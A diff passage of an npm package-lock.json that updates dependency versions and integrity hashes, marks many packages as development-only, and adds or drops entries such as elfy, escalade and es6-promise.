}
@@ -4811,6 +7624,7 @@
"version": "2.1.3",
"resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.3.tgz",
"integrity": "sha512-cwaRptBmYZwu/FyhGcqBm2MzXA77W2/E6eVkpOZVDk6PkI9Bjj84xPrXiHMA+OWjzNy+DFjgKh8Q+1hMR7/OHg==",
+ "dev": true,
"requires": {
"debug": "^4.1.1",
"readable-stream": "^3.5.0",
@@ -4819,22 +7633,25 @@
},
"dependencies": {
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
},
"readable-stream": {
"version": "3.6.0",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
"integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+ "dev": true,
"requires": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
@@ -4844,11 +7661,12 @@
}
},
"dockerfile-ast": {
- "version": "0.0.19",
- "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.0.19.tgz",
- "integrity": "sha512-iDRNFeAB2j4rh/Ecc2gh3fjciVifCMsszfCfHlYF5Wv8yybjZLiRDZUBt/pS3xrAz8uWT8fCHLq4pOQMmwCDwA==",
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.2.0.tgz",
+ "integrity": "sha512-iQyp12k1A4tF3sEfLAq2wfFPKdpoiGTJeuiu2Y1bdEqIZu0DfSSL2zm0fk7a/UHeQkngnYaRRGuON+C+2LO1Fw==",
+ "dev": true,
"requires": {
- "vscode-languageserver-types": "^3.5.0"
+ "vscode-languageserver-types": "^3.16.0"
}
},
"doctrine": {
@@ -4870,12 +7688,19 @@
}
},
"dom-helpers": {
- "version": "5.1.4",
- "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.1.4.tgz",
- "integrity": "sha512-TjMyeVUvNEnOnhzs6uAn9Ya47GmMo3qq7m+Lr/3ON0Rs5kHvb8I+SQYjLUSYn7qhEm0QjW0yrBkvz9yOrwwz1A==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.0.tgz",
+ "integrity": "sha512-Ru5o9+V8CpunKnz5LGgWXkmrH/20cGKwcHwS4m73zIvs54CN9epEmT/HLqFJW3kXpakAFkEdzgy1hzlJe3E4OQ==",
"requires": {
"@babel/runtime": "^7.8.7",
- "csstype": "^2.6.7"
+ "csstype": "^3.0.2"
+ },
+ "dependencies": {
+ "csstype": {
+ "version": "3.0.7",
+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz",
+ "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g=="
+ }
}
},
"dom-serializer": {
@@ -4933,20 +7758,23 @@
}
},
"dot-prop": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.2.0.tgz",
- "integrity": "sha512-uEUyaDKoSQ1M4Oq8l45hSE26SnTxL6snNnqvK/VWx5wJhmff5z0FUVJDKDanor/6w3kzE3i7XZOk+7wC0EXr1A==",
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz",
+ "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==",
+ "dev": true,
"requires": {
"is-obj": "^2.0.0"
}
},
"dotnet-deps-parser": {
- "version": "4.10.0",
- "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-4.10.0.tgz",
- "integrity": "sha512-dEO1oTvreaDCtcvhRdOmmAMubyC+MWqVr1c/1Wvasi+NW4NZeB67qGh1taqowUFh+aCXtPw3SP2eExn6aNkhwA==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-5.0.0.tgz",
+ "integrity": "sha512-1l9K4UnQQHSfKgeHeLrxnB53AidCZqPyf9dkRL4/fZl8//NPiiDD43zHtgylw8DHlO7gvM8+O5a0UPHesNYZKw==",
+ "dev": true,
"requires": {
- "@snyk/lodash": "4.17.15-patch",
- "@types/xml2js": "0.4.5",
+ "lodash.isempty": "^4.4.0",
+ "lodash.set": "^4.3.2",
+ "lodash.uniq": "^4.5.0",
"source-map-support": "^0.5.7",
"tslib": "^1.10.0",
"xml2js": "0.4.23"
@@ -4960,12 +7788,14 @@
"duplexer3": {
"version": "0.1.4",
"resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
- "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI="
+ "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=",
+ "dev": true
},
"duplexify": {
"version": "3.7.1",
"resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
"integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==",
+ "dev": true,
"requires": {
"end-of-stream": "^1.0.0",
"inherits": "^2.0.1",
@@ -4990,9 +7820,9 @@
"dev": true
},
"electron-to-chromium": {
- "version": "1.3.432",
- "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.432.tgz",
- "integrity": "sha512-/GdNhXyLP5Yl2322CUX/+Xi8NhdHBqL6lD9VJVKjH6CjoPGakvwZ5CpKgj/oOlbzuWWjOvMjDw1bBuAIRCNTlw==",
+ "version": "1.3.713",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.713.tgz",
+ "integrity": "sha512-HWgkyX4xTHmxcWWlvv7a87RHSINEcpKYZmDMxkUlHcY+CJcfx7xEfBHuXVsO1rzyYs1WQJ7EgDp2CoErakBIow==",
"dev": true
},
"element-resize-event": {
@@ -5000,25 +7830,34 @@
"resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz",
"integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY="
},
- "elliptic": {
- "version": "6.5.3",
- "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.3.tgz",
- "integrity": "sha512-IMqzv5wNQf+E6aHeIqATs0tOLeOTwj1QKbRcS3jBbYkl5oLAserA8yJTT7/VyHUYG91PRmPyeQDObKLPpeS4dw==",
+ "elfy": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/elfy/-/elfy-1.0.0.tgz",
+ "integrity": "sha512-4Kp3AA94jC085IJox+qnvrZ3PudqTi4gQNvIoTZfJJ9IqkRuCoqP60vCVYlIg00c5aYusi5Wjh2bf0cHYt+6gQ==",
"dev": true,
"requires": {
- "bn.js": "^4.4.0",
- "brorand": "^1.0.1",
+ "endian-reader": "^0.3.0"
+ }
+ },
+ "elliptic": {
+ "version": "6.5.4",
+ "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz",
+ "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==",
+ "dev": true,
+ "requires": {
+ "bn.js": "^4.11.9",
+ "brorand": "^1.1.0",
"hash.js": "^1.0.0",
- "hmac-drbg": "^1.0.0",
- "inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0",
- "minimalistic-crypto-utils": "^1.0.0"
+ "hmac-drbg": "^1.0.1",
+ "inherits": "^2.0.4",
+ "minimalistic-assert": "^1.0.1",
+ "minimalistic-crypto-utils": "^1.0.1"
},
"dependencies": {
"bn.js": {
- "version": "4.11.9",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.9.tgz",
- "integrity": "sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw==",
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
"dev": true
}
}
@@ -5026,12 +7865,14 @@
"email-validator": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/email-validator/-/email-validator-2.0.4.tgz",
- "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ=="
+ "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ==",
+ "dev": true
},
"emoji-regex": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
+ "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
+ "dev": true
},
"emojis-list": {
"version": "3.0.0",
@@ -5056,14 +7897,21 @@
"version": "1.4.4",
"resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
"integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+ "dev": true,
"requires": {
"once": "^1.4.0"
}
},
+ "endian-reader": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/endian-reader/-/endian-reader-0.3.0.tgz",
+ "integrity": "sha1-hOykNrgK7Q0GOcRykTOLky7+UKA=",
+ "dev": true
+ },
"enhanced-resolve": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.1.tgz",
- "integrity": "sha512-98p2zE+rL7/g/DzMHMTF4zZlCgeVdJ7yr6xzEpJRYwFYrGi9ANdn5DnJURg6RpBkyk60XYDnWIv51VfIhfNGuA==",
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz",
+ "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==",
"dev": true,
"requires": {
"graceful-fs": "^4.1.2",
@@ -5136,18 +7984,11 @@
"is-symbol": "^1.0.2"
}
},
- "es6-promise": {
- "version": "4.2.8",
- "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz",
- "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="
- },
- "es6-promisify": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz",
- "integrity": "sha1-UQnWLz5W6pZ8S2NQWu8IKRyKUgM=",
- "requires": {
- "es6-promise": "^4.0.3"
- }
+ "es6-error": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
+ "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
+ "dev": true
},
"es6-templates": {
"version": "0.2.3",
@@ -5159,10 +8000,17 @@
"through": "~2.3.6"
}
},
+ "escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+ "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+ "dev": true
+ },
"escape-goat": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz",
- "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q=="
+ "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==",
+ "dev": true
},
"escape-html": {
"version": "1.0.3",
@@ -5175,26 +8023,6 @@
"resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
"integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
},
- "escodegen": {
- "version": "1.14.3",
- "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz",
- "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==",
- "requires": {
- "esprima": "^4.0.1",
- "estraverse": "^4.2.0",
- "esutils": "^2.0.2",
- "optionator": "^0.8.1",
- "source-map": "~0.6.1"
- },
- "dependencies": {
- "source-map": {
- "version": "0.6.1",
- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
- "optional": true
- }
- }
- },
"eslint": {
"version": "6.8.0",
"resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz",
@@ -5422,23 +8250,23 @@
}
},
"eslint-plugin-react": {
- "version": "7.19.0",
- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.19.0.tgz",
- "integrity": "sha512-SPT8j72CGuAP+JFbT0sJHOB80TX/pu44gQ4vXH/cq+hQTiY2PuZ6IHkqXJV6x1b28GDdo1lbInjKUrrdUf0LOQ==",
+ "version": "7.23.2",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.23.2.tgz",
+ "integrity": "sha512-AfjgFQB+nYszudkxRkTFu0UR1zEQig0ArVMPloKhxwlwkzaw/fBiH0QWcBBhZONlXqQC51+nfqFrkn4EzHcGBw==",
"dev": true,
"requires": {
- "array-includes": "^3.1.1",
+ "array-includes": "^3.1.3",
+ "array.prototype.flatmap": "^1.2.4",
"doctrine": "^2.1.0",
"has": "^1.0.3",
- "jsx-ast-utils": "^2.2.3",
- "object.entries": "^1.1.1",
- "object.fromentries": "^2.0.2",
- "object.values": "^1.1.1",
+ "jsx-ast-utils": "^2.4.1 || ^3.0.0",
+ "minimatch": "^3.0.4",
+ "object.entries": "^1.1.3",
+ "object.fromentries": "^2.0.4",
+ "object.values": "^1.1.3",
"prop-types": "^15.7.2",
- "resolve": "^1.15.1",
- "semver": "^6.3.0",
- "string.prototype.matchall": "^4.0.2",
- "xregexp": "^4.3.0"
+ "resolve": "^2.0.0-next.3",
+ "string.prototype.matchall": "^4.0.4"
},
"dependencies": {
"doctrine": {
@@ -5450,11 +8278,15 @@
"esutils": "^2.0.2"
}
},
- "semver": {
- "version": "6.3.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
- "dev": true
+ "resolve": {
+ "version": "2.0.0-next.3",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz",
+ "integrity": "sha512-W8LucSynKUIDu9ylraa7ueVZ7hc0uAgJBxVsQSKOXOyle8a93qXhcz+XAXZ8bIq2d6i4Ehddn6Evt+0/UwKk6Q==",
+ "dev": true,
+ "requires": {
+ "is-core-module": "^2.2.0",
+ "path-parse": "^1.0.6"
+ }
}
}
},
@@ -5497,7 +8329,8 @@
"esprima": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
- "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="
+ "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+ "dev": true
},
"esquery": {
"version": "1.3.1",
@@ -5528,12 +8361,14 @@
"estraverse": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
- "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+ "dev": true
},
"esutils": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
- "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="
+ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
+ "dev": true
},
"etag": {
"version": "1.8.1",
@@ -5542,11 +8377,20 @@
"dev": true
},
"event-loop-spinner": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
- "integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.1.0.tgz",
+ "integrity": "sha512-RJ10wL8/F9AlfBgRCvYctJIXSb9XkVmSCK3GGUvPD3dJrvTjDeDT0tmhcbEC6I2NEjNM9xD38HQJ4F/f/gb4VQ==",
+ "dev": true,
"requires": {
- "tslib": "^1.10.0"
+ "tslib": "^2.1.0"
+ },
+ "dependencies": {
+ "tslib": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
+ }
}
},
"eventemitter3": {
@@ -5556,9 +8400,9 @@
"dev": true
},
"events": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz",
- "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==",
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
"dev": true
},
"eventsource": {
@@ -5584,6 +8428,7 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
"integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
+ "dev": true,
"requires": {
"cross-spawn": "^6.0.0",
"get-stream": "^4.0.0",
@@ -5598,6 +8443,7 @@
"version": "6.0.5",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
"integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
+ "dev": true,
"requires": {
"nice-try": "^1.0.4",
"path-key": "^2.0.1",
@@ -5722,7 +8568,8 @@
"extend": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
- "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
+ "dev": true
},
"extend-shallow": {
"version": "3.0.2",
@@ -5749,6 +8596,7 @@
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
"integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
+ "dev": true,
"requires": {
"chardet": "^0.7.0",
"iconv-lite": "^0.4.24",
@@ -5832,9 +8680,10 @@
"integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA=="
},
"fast-glob": {
- "version": "3.2.2",
- "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.2.tgz",
- "integrity": "sha512-UDV82o4uQyljznxwMxyVRJgZZt3O5wENYojjzbaGEGZgeOxkLFf+V4cnUD+krzb2F72E18RhamkMZ7AdeggF7A==",
+ "version": "3.2.5",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.5.tgz",
+ "integrity": "sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg==",
+ "dev": true,
"requires": {
"@nodelib/fs.stat": "^2.0.2",
"@nodelib/fs.walk": "^1.2.3",
@@ -5848,6 +8697,7 @@
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
"requires": {
"fill-range": "^7.0.1"
}
@@ -5856,14 +8706,16 @@
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
"requires": {
"to-regex-range": "^5.0.1"
}
},
"glob-parent": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz",
- "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==",
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
"requires": {
"is-glob": "^4.0.1"
}
@@ -5871,21 +8723,24 @@
"is-number": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
- "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
},
"micromatch": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz",
- "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "dev": true,
"requires": {
"braces": "^3.0.1",
- "picomatch": "^2.0.5"
+ "picomatch": "^2.2.3"
}
},
"to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
"integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
"requires": {
"is-number": "^7.0.0"
}
@@ -5902,6 +8757,12 @@
"resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
"integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc="
},
+ "fastest-levenshtein": {
+ "version": "1.0.12",
+ "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.12.tgz",
+ "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==",
+ "dev": true
+ },
"fastparse": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.2.tgz",
@@ -5909,9 +8770,10 @@
"dev": true
},
"fastq": {
- "version": "1.7.0",
- "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.7.0.tgz",
- "integrity": "sha512-YOadQRnHd5q6PogvAR/x62BGituF2ufiEA6s8aavQANw5YKHERI4AREboX6KotzP8oX2klxYF2wcV/7bn1clfQ==",
+ "version": "1.11.0",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.11.0.tgz",
+ "integrity": "sha512-7Eczs8gIPDrVzT+EksYBcupqMyxSHXXrHOLRRxU2/DicV8789MRBRR8+Hc2uWzUupOs4YS4JzBmBxjjCVBxD/g==",
+ "dev": true,
"requires": {
"reusify": "^1.0.4"
}
@@ -6009,12 +8871,14 @@
"file-uri-to-path": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
- "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
+ "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
+ "dev": true,
+ "optional": true
},
"filepond": {
- "version": "4.19.2",
- "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz",
- "integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w=="
+ "version": "4.27.0",
+ "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.27.0.tgz",
